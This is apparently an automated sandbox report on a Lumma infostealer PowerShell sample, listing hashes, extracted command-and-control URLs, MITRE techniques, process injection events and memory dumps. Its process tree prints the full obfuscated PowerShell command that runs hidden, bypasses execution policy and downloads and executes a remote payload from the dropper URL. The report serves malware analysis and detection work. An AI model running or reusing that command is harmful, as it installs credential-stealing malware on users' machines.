lumma | 572175d8c355a0e9e993eb3855fbb8b8aaac38ebb57eb14eb4757d52ec4605a7

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/01/2025, 09:46

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General

Target

mal.ps1
Size

477B
MD5

106e8b1d646ba58948fa57cd919784b5
SHA1

3c85495907a81aef34897e341703d2f7ad92a15b
SHA256

572175d8c355a0e9e993eb3855fbb8b8aaac38ebb57eb14eb4757d52ec4605a7
SHA512

a203b40d0b577f8e113c449520da60ad194e031be591132c6cbce38a7afa21fe4f6ea6cd88e27d4bdc42ec12acbb5861175be62a3b721968906f754a44d038ac

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://n.kliphirofey.shop/43cee3481683f8897547367aa517dd31.png

Extracted

Family

lumma

https://writeimgaiin.cyou/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 428 created 3436	428	powershell.exe	56

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	428	powershell.exe
39	1684	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1008	powershell.exe
428	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 428 set thread context of 1684	428	powershell.exe	102

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1008	powershell.exe
1008	powershell.exe
428	powershell.exe
428	powershell.exe
428	powershell.exe
428	powershell.exe
428	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	428	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 428	1008	powershell.exe	84
PID 1008 wrote to memory of 428	1008	powershell.exe	84
PID 1008 wrote to memory of 428	1008	powershell.exe	84
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102
PID 428 wrote to memory of 1684	428	powershell.exe	102

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\mal.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command 'Z8'|ForEach-Object{Set-Item Variable:/Z8 ([PowerShell]::Create())}{$Null=(Item Variable:Z8).Value.(($Z8|Get-Member)[5].Name).Invoke(((New-Object Net.WebClient).DownloadString('https://n.kliphirofey.shop/43cee3481683f8897547367aa517dd31.png')))}{(Item Variable:Z8).Value.Invoke()}{(Item Variable:Z8).Value.Dispose()}
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:428
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogfwgepp.gyv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/428-96-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-72-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-19-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-1391-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-20-0x00000000057F0000-0x0000000005812000-memory.dmp

Filesize
136KB

Download
memory/428-28-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-22-0x0000000005F80000-0x0000000005FE6000-memory.dmp

Filesize
408KB

Download
memory/428-21-0x0000000005890000-0x00000000058F6000-memory.dmp

Filesize
408KB

Download
memory/428-33-0x0000000006170000-0x00000000064C4000-memory.dmp

Filesize
3.3MB

Download
memory/428-17-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

Filesize
216KB

Download
memory/428-16-0x000000007495E000-0x000000007495F000-memory.dmp

Filesize
4KB

Download
memory/428-36-0x00000000066D0000-0x000000000671C000-memory.dmp

Filesize
304KB

Download
memory/428-37-0x0000000006C50000-0x0000000006CE6000-memory.dmp

Filesize
600KB

Download
memory/428-38-0x0000000006BE0000-0x0000000006BFA000-memory.dmp

Filesize
104KB

Download
memory/428-39-0x00000000078A0000-0x00000000078C2000-memory.dmp

Filesize
136KB

Download
memory/428-40-0x0000000007E80000-0x0000000008424000-memory.dmp

Filesize
5.6MB

Download
memory/428-41-0x0000000008AB0000-0x000000000912A000-memory.dmp

Filesize
6.5MB

Download
memory/428-42-0x0000000007D50000-0x0000000007D9A000-memory.dmp

Filesize
296KB

Download
memory/428-43-0x000000007495E000-0x000000007495F000-memory.dmp

Filesize
4KB

Download
memory/428-44-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-45-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-47-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-48-0x0000000008650000-0x0000000008782000-memory.dmp

Filesize
1.2MB

Download
memory/428-49-0x0000000008780000-0x00000000088AA000-memory.dmp

Filesize
1.2MB

Download
memory/428-54-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-76-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-92-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-114-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-112-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-110-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-108-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-106-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-104-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-102-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-90-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-98-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-35-0x0000000006690000-0x00000000066AE000-memory.dmp

Filesize
120KB

Download
memory/428-18-0x0000000005950000-0x0000000005F78000-memory.dmp

Filesize
6.2MB

Download
memory/428-100-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-88-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-86-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-84-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-82-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-80-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-78-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-74-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-94-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-71-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-68-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-66-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-64-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-62-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-60-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-58-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-56-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-52-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-51-0x0000000008780000-0x00000000088A3000-memory.dmp

Filesize
1.1MB

Download
memory/428-50-0x00000000088B0000-0x0000000008942000-memory.dmp

Filesize
584KB

Download
memory/428-1373-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-1374-0x0000000007DF0000-0x0000000007E74000-memory.dmp

Filesize
528KB

Download
memory/428-1375-0x0000000008950000-0x00000000089D0000-memory.dmp

Filesize
512KB

Download
memory/428-1376-0x00000000089D0000-0x0000000008A1C000-memory.dmp

Filesize
304KB

Download
memory/428-1377-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-1379-0x0000000008A50000-0x0000000008AA4000-memory.dmp

Filesize
336KB

Download
memory/428-1382-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-1385-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-1390-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/428-1386-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/1008-0-0x00007FF995B43000-0x00007FF995B45000-memory.dmp

Filesize
8KB

Download
memory/1008-10-0x00000201C2510000-0x00000201C2532000-memory.dmp

Filesize
136KB

Download
memory/1008-11-0x00007FF995B40000-0x00007FF996601000-memory.dmp

Filesize
10.8MB

Download
memory/1008-12-0x00007FF995B40000-0x00007FF996601000-memory.dmp

Filesize
10.8MB

Download
memory/1008-15-0x00007FF995B40000-0x00007FF996601000-memory.dmp

Filesize
10.8MB

Download
memory/1684-1392-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download